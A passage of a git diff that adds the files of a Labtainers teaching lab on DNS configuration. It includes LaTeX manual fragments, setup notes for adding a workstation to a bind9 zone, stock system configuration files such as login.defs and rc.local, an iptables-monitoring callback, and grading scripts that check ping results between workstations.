+\begin{verbatim} + quiz -l dns -q post +\end{verbatim} +\noindent and answer the quiz questions to test your knowledge of what you have done in this lab. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/header.tex new file mode 100644 index 000000000..e81008eb0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1932950. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/note.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/note.txt new file mode 100644 index 000000000..a5fdd03d1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/note.txt @@ -0,0 +1,18 @@ + +Local DNS entries. Demonstrate simple DNZ zone file. +Example implementation is bind9, aka named. + +Initial config has +gw +| +dns +| +|____________ + | | | +ws1 ws2 ws3 + +The ws1 and ws2 are configured. Say ws3 was recently added. +Student must configure it to use DNS server for naming, +and must configure the dns to add the new ws3. + +Set up a TAP to watch the traffic. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/read_first.txt new file mode 100644 index 000000000..7bd1bd4dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/read_first.txt @@ -0,0 +1,5 @@ +The lab manual is at + file://LAB_DOCS/dns.pdf + +You may open these by right clicking +and select "Open Link". diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_bin/fixlocal.sh new file mode 100755 index 000000000..b31c0018c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# outer gateway nameserver is the isp + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_bin/notify b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_bin/notify new file mode 100644 index 000000000..5b274b126 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_bin/notify @@ -0,0 +1 @@ +/sbin/iptables OPEN iptables diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_bin/notify_cb.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_bin/notify_cb.sh new file mode 100755 index 000000000..dd1e83d01 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_bin/notify_cb.sh @@ -0,0 +1,27 @@ +#!/bin/bash +# +# Callback from an inotify event +# +the_path=$1 +the_mode=$2 +the_user=$3 +the_cmd=$4 +if [[ "$the_path" == /sbin/iptables ]];then + # + # inotify says iptables ran. Determine if it may have had an effect -- e.g., + # do not break up timestamp ranges if student simply runs a sudo iptables -L + # + # + # Only care if run as root. Make a record if consequential iptables command, or via rc.local + # + if [[ $the_user == root ]]; then + if [[ "$the_cmd" == iptables* ]]; then + if [[ "$the_cmd" == *-A* ]]; then + echo "is root and -A $the_cmd" + fi + else + # if run from script, e.g., rc.local, assume effects + echo $the_cmd + fi + fi +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/rc.local new file mode 100755 index 000000000..38321dc19 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/rc.local @@ -0,0 +1,9 @@ +#!/bin/bash +# + +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# +echo "nameserver 192.168.10.2" >/etc/resolv.conf +/etc/init.d/dnsmasq restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/gw/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/instr_config/goals.config new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/instr_config/goals.config @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/instr_config/results.config new file mode 100644 index 000000000..604aee0ba --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/instr_config/results.config @@ -0,0 +1,5 @@ +# DOC: Did the student ping ws3 from ws1, indicating that DNS has entries for ws3? + +pingws3 = ws1:ping.stdout : CONTAINS : 64 bytes from ws3 +# DOC: Did the student ping ws1 from ws3, indicating that ws3 has a defined DNS? +pingfromws3 = ws3:ping.stdout : CONTAINS : 64 bytes from ws1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/isp/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# 